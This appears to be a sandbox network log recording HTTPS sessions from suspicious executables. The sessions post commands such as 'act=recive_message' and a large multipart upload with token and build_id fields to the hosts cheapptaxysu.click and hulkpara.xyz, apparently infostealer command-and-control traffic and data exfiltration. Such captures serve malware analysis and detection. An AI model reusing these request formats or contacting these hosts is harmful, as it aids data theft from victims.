2024-12-19 15:10:55 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cheapptaxysu.click
2024-12-19 15:10:55 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-19 15:10:55 UTC	556	IN	HTTP/1.1 403 Forbidden Date: Thu, 19 Dec 2024 15:10:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BjfiL2kFbuprHD28rRzyhRJpNsKM065oQDN9zxi%2BvxHPJWJZa28ezewKVIpR42gCTiQxm3EezTMSPnSJi1a0UweUW1cEbEXl421eUfGZLgETJDJj7WcPPPyKpFDEAMWeslNli3g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f48527cddc542f1-EWR
2024-12-19 15:10:55 UTC	813	IN	Data Raw: 31 31 63 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11c4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-12-19 15:10:55 UTC	1369	IN	Data Raw: 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 Data Ascii: yles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById(
2024-12-19 15:10:55 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e Data Ascii: <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action
2024-12-19 15:10:55 UTC	1005	IN	Data Raw: 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d Data Ascii: "cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">8.46.123.189</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Perform
2024-12-19 15:10:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49991	172.67.177.88	443	6696	C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:10:57 UTC	355	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=gIsI15dzdszQwm_l7y4xe27ztvkMZ45Pqh2aogBSwSc-1734621055-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 42 Host: cheapptaxysu.click
2024-12-19 15:10:57 UTC	42	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 43 5a 4a 76 73 73 2d 2d 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=CZJvss--&j=
2024-12-19 15:10:58 UTC	1125	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 15:10:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v3g7g3dind58g6d1263qf6fbet; expires=Mon, 14 Apr 2025 08:57:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ATKJAaII8bi5J36z3%2FJ0qDzkObyOXJLs0xR58KkLqGulKGfjvjzKwrnlcHwc8TdIA2OUKAbhBgIjOhGVlU9n9g0JJ3MtwlbNTt2vgglXtFWgJ1yjCnaSxSsQ7Y71TpT789xHZNE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f485288986c41f5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1821&min_rtt=1782&rtt_var=696&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=1033&delivery_rate=1638608&cwnd=211&unsent_bytes=0&cid=d8a0135aa9f1b7d3&ts=1066&x=0"
2024-12-19 15:10:58 UTC	244	IN	Data Raw: 34 39 31 63 0d 0a 33 74 65 4e 6c 36 75 42 6d 6c 42 75 69 67 31 76 54 4c 4d 4d 2b 32 58 67 69 51 32 59 36 56 59 33 2b 6f 36 35 53 52 63 47 51 33 6d 6c 39 66 75 31 6b 62 57 32 63 68 33 76 4c 31 55 34 77 58 6d 65 53 63 4c 6f 61 62 72 54 4d 46 61 57 2f 64 78 6c 4e 58 41 75 57 2b 53 78 37 50 76 59 35 4c 5a 79 43 2f 49 76 56 52 66 49 4c 70 34 4c 77 72 4d 76 2f 59 4d 30 56 70 62 73 32 43 4a 34 64 69 38 61 74 72 76 71 2f 38 37 69 2f 6a 45 43 35 32 67 4b 4b 64 4a 6d 6c 51 79 4e 34 57 43 36 78 58 52 53 67 4b 79 44 61 31 70 6a 4e 78 69 54 74 76 37 38 69 66 79 32 4b 30 7a 76 59 30 31 32 6b 57 32 65 42 34 7a 76 61 66 4f 42 50 6c 2b 65 37 64 30 6a 5a 32 38 6c 45 62 61 31 36 66 37 45 36 2b 6f 38 43 4f 42 6a 44 43 50 53 4c 74 64 48 68 66 Data Ascii: 491c3teNl6uBmlBuig1vTLMM+2XgiQ2Y6VY3+o65SRcGQ3ml9fu1kbW2ch3vL1U4wXmeScLoabrTMFaW/dxlNXAuW+Sx7PvY5LZyC/IvVRfILp4LwrMv/YM0Vpbs2CJ4di8atrvq/87i/jEC52gKKdJmlQyN4WC6xXRSgKyDa1pjNxiTtv78ify2K0zvY012kW2eB4zvafOBPl+e7d0jZ28lEba16f7E6+o8COBjDCPSLtdHhf
2024-12-19 15:10:58 UTC	1369	IN	Data Raw: 4d 76 6f 73 74 6e 5a 35 76 39 79 6a 35 34 64 43 64 62 6f 2f 76 32 74 63 37 76 75 47 70 4d 34 47 4d 44 4b 39 4a 68 6e 67 61 43 2b 57 44 36 69 44 78 64 6e 4f 62 55 4a 48 70 71 4b 78 79 30 76 4f 6a 36 7a 75 76 2b 50 51 2b 6f 49 55 30 70 79 53 37 42 52 36 4c 37 62 50 6d 66 4f 55 54 59 38 35 55 79 4e 57 4d 74 57 2b 54 31 36 66 76 49 37 76 67 67 42 4f 4e 6b 43 44 7a 61 5a 35 51 4b 67 75 5a 6c 39 59 67 30 55 70 4c 6d 31 43 46 78 61 53 77 64 76 4c 57 76 75 34 6e 6b 34 48 4a 55 71 45 77 49 50 74 5a 69 6a 30 57 34 71 33 43 30 6b 6e 52 53 6c 4b 79 44 61 33 31 68 49 68 69 33 75 75 7a 39 77 76 48 34 49 41 72 6c 61 68 38 6f 31 47 43 54 42 4a 44 68 59 66 79 49 50 56 36 52 36 64 77 76 4e 53 70 68 48 4b 54 31 74 37 58 6f 37 76 4d 2b 42 76 39 76 54 54 47 66 64 39 6b 41 6a Data Ascii: MvostnZ5v9yj54dCdbo/v2tc7vuGpM4GMDK9JhngaC+WD6iDxdnObUJHpqKxy0vOj6zuv+PQ+oIU0pyS7BR6L7bPmfOUTY85UyNWMtW+T16fvI7vggBONkCDzaZ5QKguZl9Yg0UpLm1CFxaSwdvLWvu4nk4HJUqEwIPtZij0W4q3C0knRSlKyDa31hIhi3uuz9wvH4IArlah8o1GCTBJDhYfyIPV6R6dwvNSphHKT1t7Xo7vM+Bv9vTTGfd9kAj
2024-12-19 15:10:58 UTC	1369	IN	Data Raw: 45 4f 56 6e 59 6f 70 73 73 62 53 52 35 57 35 61 32 2b 2f 62 44 6f 63 30 78 41 75 5a 6f 47 32 37 4f 49 49 42 48 68 65 63 76 6f 73 73 35 56 4a 44 71 79 53 52 34 5a 79 38 56 73 37 44 67 2f 63 6e 6a 39 54 63 49 34 32 51 4f 49 39 56 38 6b 77 65 4b 37 6d 37 77 67 58 51 62 32 4f 76 44 61 79 30 6b 45 41 79 33 39 39 72 32 78 2b 33 2f 4a 45 7a 33 49 52 52 75 31 6d 4c 5a 58 38 4c 6d 5a 2f 2b 4f 4f 31 53 53 34 74 34 68 65 57 77 76 47 4b 36 36 36 2f 58 46 36 2f 49 2f 41 75 78 6e 42 43 58 61 61 4a 6b 47 69 4b 73 68 75 6f 77 73 46 63 43 73 37 79 78 35 61 53 35 5a 69 62 62 68 2b 38 37 31 75 43 31 43 38 53 38 4b 49 70 45 32 32 51 75 4c 36 32 54 77 6a 7a 52 53 6c 65 6e 59 4c 48 5a 70 4a 68 47 79 73 75 76 35 77 4f 37 2b 4d 67 76 73 61 68 38 72 32 47 4b 56 52 38 79 72 61 4f Data Ascii: EOVnYopssbSR5W5a2+/bDoc0xAuZoG27OIIBHhecvoss5VJDqySR4Zy8Vs7Dg/cnj9TcI42QOI9V8kweK7m7wgXQb2OvDay0kEAy399r2x+3/JEz3IRRu1mLZX8LmZ/+OO1SS4t4heWwvGK666/XF6/I/AuxnBCXaaJkGiKshuowsFcCs7yx5aS5Zibbh+871uC1C8S8KIpE22QuL62TwjzRSlenYLHZpJhGysuv5wO7+Mgvsah8r2GKVR8yraO
2024-12-19 15:10:58 UTC	1369	IN	Data Raw: 32 4f 76 58 61 79 30 6b 4b 42 4b 75 75 2b 48 38 78 4f 58 77 4e 51 4c 6c 5a 41 73 6c 31 6d 6d 66 43 6f 72 6d 61 76 6d 4b 4d 46 2b 4b 37 39 41 68 65 47 35 68 56 66 79 79 39 37 57 52 6f 39 38 2b 4a 66 68 30 48 7a 69 52 63 64 63 65 77 75 78 6a 75 74 4e 30 56 70 66 6c 31 43 4e 39 61 79 34 66 73 72 50 70 2b 4d 7a 73 38 69 41 45 35 6d 49 47 49 64 70 38 6d 51 71 47 35 32 76 79 67 44 34 56 31 71 7a 63 4d 7a 55 38 59 53 36 78 75 75 2f 32 33 36 50 6e 66 42 57 6f 61 41 46 75 69 53 36 56 43 59 4c 6b 59 2f 61 41 50 46 53 55 34 74 77 75 66 47 77 70 43 62 32 78 35 2f 54 48 37 50 6b 32 43 65 31 72 43 69 72 58 59 64 6c 4a 77 75 78 33 75 74 4e 30 65 72 2f 5a 6d 51 70 50 4a 44 35 56 70 66 58 6f 2b 59 6d 37 75 44 34 50 35 47 63 43 4b 4e 68 69 6b 77 36 4a 35 32 54 2b 68 7a 31 Data Ascii: 2OvXay0kKBKuu+H8xOXwNQLlZAsl1mmfCormavmKMF+K79AheG5hVfyy97WRo98+Jfh0HziRcdcewuxjutN0Vpfl1CN9ay4fsrPp+Mzs8iAE5mIGIdp8mQqG52vygD4V1qzcMzU8YS6xuu/236PnfBWoaAFuiS6VCYLkY/aAPFSU4twufGwpCb2x5/TH7Pk2Ce1rCirXYdlJwux3utN0er/ZmQpPJD5VpfXo+Ym7uD4P5GcCKNhikw6J52T+hz1
2024-12-19 15:10:58 UTC	1369	IN	Data Raw: 69 70 7a 64 69 59 53 72 72 76 69 2b 73 48 72 38 54 4d 49 37 57 49 4c 49 74 74 76 6e 67 6d 4d 34 79 2b 30 79 7a 4e 4e 32 4c 53 62 43 6d 56 2f 4d 77 32 78 6c 4f 4c 36 69 66 79 32 4b 30 7a 76 59 30 31 32 6b 57 65 4c 41 34 2f 35 5a 76 32 46 4f 31 61 4b 37 64 59 67 5a 32 4d 75 48 37 75 35 36 66 72 50 34 76 30 34 41 4f 39 71 42 69 48 64 4c 74 64 48 68 66 4d 76 6f 73 73 61 58 6f 76 37 32 43 56 2b 63 6a 70 62 6f 2f 76 32 74 63 37 76 75 47 70 4d 36 32 51 47 4b 74 46 69 6d 51 4f 50 36 33 33 31 6a 44 4e 63 6b 2f 37 52 4c 48 4a 76 4b 52 43 7a 73 2f 33 35 78 2f 48 39 49 42 36 6f 49 55 30 70 79 53 37 42 52 37 54 73 66 2b 71 49 64 6d 53 4f 37 38 30 67 65 47 68 68 42 50 4b 73 72 2f 4c 46 6f 36 42 79 43 75 64 6d 44 69 48 51 5a 35 55 4b 68 2b 4a 71 2b 34 30 77 58 35 4c 73 Data Ascii: ipzdiYSrrvi+sHr8TMI7WILIttvngmM4y+0yzNN2LSbCmV/Mw2xlOL6ify2K0zvY012kWeLA4/5Zv2FO1aK7dYgZ2MuH7u56frP4v04AO9qBiHdLtdHhfMvossaXov72CV+cjpbo/v2tc7vuGpM62QGKtFimQOP6331jDNck/7RLHJvKRCzs/35x/H9IB6oIU0pyS7BR7Tsf+qIdmSO780geGhhBPKsr/LFo6ByCudmDiHQZ5UKh+Jq+40wX5Ls
2024-12-19 15:10:58 UTC	1369	IN	Data Raw: 74 76 41 76 79 79 34 37 57 52 6f 2f 73 31 44 2b 6c 6c 42 43 4c 65 61 5a 30 56 69 4f 78 39 2b 34 6f 2f 57 4a 54 73 31 69 5a 2f 5a 53 67 57 73 4c 6a 6f 38 73 62 6d 75 48 78 4d 37 33 64 4e 64 70 46 50 6c 41 79 4f 73 44 57 36 6c 48 70 4d 32 4f 76 58 61 79 30 6b 49 52 47 35 76 2b 4c 32 78 75 44 71 4d 77 72 36 62 77 41 6b 77 32 53 53 41 6f 2f 6d 59 76 6d 4e 4d 6c 36 55 2f 74 49 72 64 6d 39 68 56 66 79 79 39 37 57 52 6f 39 73 6c 47 75 4a 6f 41 54 6a 61 62 35 6f 52 6a 2f 73 76 74 4d 73 6c 55 6f 6d 73 67 7a 31 6c 63 79 59 45 38 71 79 76 38 73 57 6a 6f 48 49 4b 34 57 6b 4b 4b 4e 39 38 6e 41 47 4e 35 47 62 7a 6a 7a 78 57 6d 4f 6a 66 4c 48 42 6e 4c 52 43 37 74 75 44 78 77 4f 33 78 50 55 79 6d 4c 77 6f 32 6b 54 62 5a 4a 70 6e 6f 59 2f 66 4c 4b 78 75 42 72 4e 77 6e 4e Data Ascii: tvAvyy47WRo/s1D+llBCLeaZ0ViOx9+4o/WJTs1iZ/ZSgWsLjo8sbmuHxM73dNdpFPlAyOsDW6lHpM2OvXay0kIRG5v+L2xuDqMwr6bwAkw2SSAo/mYvmNMl6U/tIrdm9hVfyy97WRo9slGuJoATjab5oRj/svtMslUomsgz1lcyYE8qyv8sWjoHIK4WkKKN98nAGN5GbzjzxWmOjfLHBnLRC7tuDxwO3xPUymLwo2kTbZJpnoY/fLKxuBrNwnN
2024-12-19 15:10:58 UTC	1369	IN	Data Raw: 6b 39 63 2f 2b 33 2b 62 2f 4a 45 37 64 62 41 4d 67 31 6e 6a 5a 47 4c 32 6c 4c 2f 57 52 64 41 32 68 39 5a 73 73 65 53 52 35 57 36 6d 79 37 2f 4c 54 39 66 38 2b 48 65 4e 69 41 51 7a 65 61 59 38 45 6a 65 68 2b 38 38 63 2f 57 4e 69 69 6d 79 78 74 4a 48 6c 62 6b 37 4c 35 39 75 62 67 36 54 74 4d 70 69 38 4b 4f 4a 45 32 32 54 6e 43 2b 57 7a 71 69 44 74 45 70 71 79 44 4d 6b 73 6b 4b 67 32 37 70 65 7a 6a 77 75 37 30 49 7a 4b 6f 4e 31 6c 38 67 7a 7a 4c 56 5a 32 72 63 4d 58 46 64 46 54 59 74 4f 49 79 4e 58 4a 68 51 2b 37 37 72 2b 65 4a 75 37 68 31 44 2f 70 39 43 79 33 48 62 64 34 35 76 4d 78 35 38 49 77 6b 55 6f 2f 6a 6d 32 55 31 61 32 46 44 68 66 58 6d 38 74 4c 79 37 6a 38 63 37 79 38 79 59 4a 46 32 32 56 2f 43 33 6d 7a 30 68 54 4e 44 69 61 48 38 50 58 39 6a 4d 52 Data Ascii: k9c/+3+b/JE7dbAMg1njZGL2lL/WRdA2h9ZsseSR5W6my7/LT9f8+HeNiAQzeaY8Ejeh+88c/WNiimyxtJHlbk7L59ubg6TtMpi8KOJE22TnC+WzqiDtEpqyDMkskKg27pezjwu70IzKoN1l8gzzLVZ2rcMXFdFTYtOIyNXJhQ+77r+eJu7h1D/p9Cy3Hbd45vMx58IwkUo/jm2U1a2FDhfXm8tLy7j8c7y8yYJF22V/C3mz0hTNDiaH8PX9jMR
2024-12-19 15:10:58 UTC	1369	IN	Data Raw: 2b 6f 58 74 38 7a 49 4c 2b 48 6b 57 59 74 6c 74 67 78 32 38 31 55 54 32 6a 54 4e 50 6e 2b 72 39 43 7a 55 71 59 52 54 38 37 64 61 31 67 61 50 48 66 45 7a 77 4c 31 56 75 35 47 32 58 43 59 58 39 66 72 65 6a 46 32 2b 69 72 76 63 73 59 43 59 56 48 4b 79 6b 35 50 6a 46 6f 37 5a 79 43 71 67 33 58 57 43 52 61 6f 68 48 32 72 73 39 6f 64 35 6e 41 73 69 2b 78 47 56 73 4a 44 64 62 35 4f 65 68 74 64 75 6a 6f 48 4a 4c 36 33 30 66 4b 4e 4a 34 6d 6b 43 38 31 55 6a 30 6a 44 56 44 69 50 76 55 46 55 74 78 49 68 57 79 73 76 6e 6b 69 61 32 34 50 55 79 77 56 6b 31 6d 6b 56 48 58 52 35 71 72 4e 37 71 2b 4e 31 75 57 36 38 30 36 4f 45 4d 76 48 4c 32 6a 2f 2b 4c 47 6f 37 5a 79 43 71 67 33 58 32 43 52 61 6f 68 48 32 72 73 39 6f 64 35 6e 41 73 69 2b 78 47 56 73 4a 44 64 62 35 4f 65 Data Ascii: +oXt8zIL+HkWYtltgx281UT2jTNPn+r9CzUqYRT87da1gaPHfEzwL1Vu5G2XCYX9frejF2+irvcsYCYVHKyk5PjFo7ZyCqg3XWCRaohH2rs9od5nAsi+xGVsJDdb5OehtdujoHJL630fKNJ4mkC81Uj0jDVDiPvUFUtxIhWysvnkia24PUywVk1mkVHXR5qrN7q+N1uW6806OEMvHL2j/+LGo7ZyCqg3X2CRaohH2rs9od5nAsi+xGVsJDdb5Oe
2024-12-19 15:10:58 UTC	1369	IN	Data Raw: 4c 6f 53 43 2f 35 73 54 57 43 52 59 74 6c 66 77 75 70 6c 36 6f 59 37 55 74 54 72 77 53 77 31 4b 6d 45 56 2f 4f 32 76 39 4d 50 7a 39 54 30 4c 70 47 6b 44 49 4a 46 78 31 78 37 43 2f 53 2b 69 32 48 6f 56 69 71 79 44 61 7a 4a 6e 4d 77 6d 36 74 76 6e 32 6a 74 33 47 48 78 37 76 66 77 35 73 34 47 4f 64 45 5a 66 6f 66 2f 32 31 43 6e 69 4b 36 38 73 6f 4e 31 55 33 47 4c 79 37 36 4c 57 48 6f 2b 42 79 56 4b 68 43 48 79 6e 42 62 64 6c 4a 77 75 63 76 6f 73 73 35 52 35 2f 38 32 47 64 79 66 69 5a 62 6f 2f 76 32 74 64 2b 6a 6f 47 46 43 71 48 31 4e 64 70 45 70 6c 77 71 44 36 47 48 35 6d 53 5a 54 6d 2f 72 59 62 45 74 61 44 41 6d 37 70 65 79 33 2b 4f 37 38 4a 42 6e 72 66 77 6f 51 37 30 4f 4c 41 4a 4c 6f 4c 64 61 4d 4f 56 6d 6d 30 75 77 36 63 6e 52 6a 50 62 2b 6a 37 4c 57 48 Data Ascii: LoSC/5sTWCRYtlfwupl6oY7UtTrwSw1KmEV/O2v9MPz9T0LpGkDIJFx1x7C/S+i2HoViqyDazJnMwm6tvn2jt3GHx7vfw5s4GOdEZfof/21CniK68soN1U3GLy76LWHo+ByVKhCHynBbdlJwucvoss5R5/82GdyfiZbo/v2td+joGFCqH1NdpEplwqD6GH5mSZTm/rYbEtaDAm7pey3+O78JBnrfwoQ70OLAJLoLdaMOVmm0uw6cnRjPb+j7LWH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	50000	94.130.191.168	443	6756	C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:10:59 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----S0ZUAAI58YM7YMOPPHLF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: hulkpara.xyz Content-Length: 505 Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 15:10:59 UTC	505	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 53 30 5a 55 41 41 49 35 38 59 4d 37 59 4d 4f 50 50 48 4c 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 38 61 39 65 31 36 63 30 38 66 39 37 63 37 61 32 30 66 39 63 36 36 62 62 38 66 66 62 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 53 30 5a 55 41 41 49 35 38 59 4d 37 59 4d 4f 50 50 48 4c 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 33 65 34 32 36 62 33 31 39 65 37 38 66 38 39 65 36 36 64 31 61 63 62 37 36 37 36 64 30 39 33 0d 0a 2d 2d 2d 2d 2d 2d 53 30 5a 55 41 41 49 35 38 59 4d 37 59 4d 4f 50 50 48 4c 46 0d 0a 43 6f 6e 74 Data Ascii: ------S0ZUAAI58YM7YMOPPHLFContent-Disposition: form-data; name="token"48a9e16c08f97c7a20f9c66bb8ffb4d4------S0ZUAAI58YM7YMOPPHLFContent-Disposition: form-data; name="build_id"d3e426b319e78f89e66d1acb7676d093------S0ZUAAI58YM7YMOPPHLFCont
2024-12-19 15:11:00 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 19 Dec 2024 15:11:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-19 15:11:00 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	50005	94.130.191.168	443	6756	C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:00 UTC	327	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----5XTR9HDBSJMYUAA1D2DT User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: hulkpara.xyz Content-Length: 213453 Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 15:11:00 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 35 58 54 52 39 48 44 42 53 4a 4d 59 55 41 41 31 44 32 44 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 38 61 39 65 31 36 63 30 38 66 39 37 63 37 61 32 30 66 39 63 36 36 62 62 38 66 66 62 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 35 58 54 52 39 48 44 42 53 4a 4d 59 55 41 41 31 44 32 44 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 33 65 34 32 36 62 33 31 39 65 37 38 66 38 39 65 36 36 64 31 61 63 62 37 36 37 36 64 30 39 33 0d 0a 2d 2d 2d 2d 2d 2d 35 58 54 52 39 48 44 42 53 4a 4d 59 55 41 41 31 44 32 44 54 0d 0a 43 6f 6e 74 Data Ascii: ------5XTR9HDBSJMYUAA1D2DTContent-Disposition: form-data; name="token"48a9e16c08f97c7a20f9c66bb8ffb4d4------5XTR9HDBSJMYUAA1D2DTContent-Disposition: form-data; name="build_id"d3e426b319e78f89e66d1acb7676d093------5XTR9HDBSJMYUAA1D2DTCont
